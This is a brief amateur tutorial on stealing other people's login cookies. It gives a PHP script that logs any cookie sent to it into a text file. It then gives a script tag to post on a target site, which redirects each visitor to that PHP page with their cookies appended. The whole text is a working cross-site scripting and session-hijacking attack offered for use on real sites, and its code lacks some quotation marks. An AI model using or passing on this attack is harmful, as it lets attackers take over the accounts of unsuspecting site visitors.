How to Steal Someone's Login Cookie Online

In this tutorial you'll learn how to steal someones login cookie.
Open notepad.
There type:
<?php
$cookie = $_GET['cookie'];
$log = fopen( log.txt , a );
fwrite($log, $cookie . \n );
fclose($log);
?>
After that save is at .php.
Than go to a site where you want to steal login cookies.
Than make a post which should look like this:
<script>
document.location = http://linkofyourphp.php?cookie= + document.cookie;
</script>
Than who enters there will send you his login cookie for that site.Login cookie will be in .txt file.
I hope that works for you.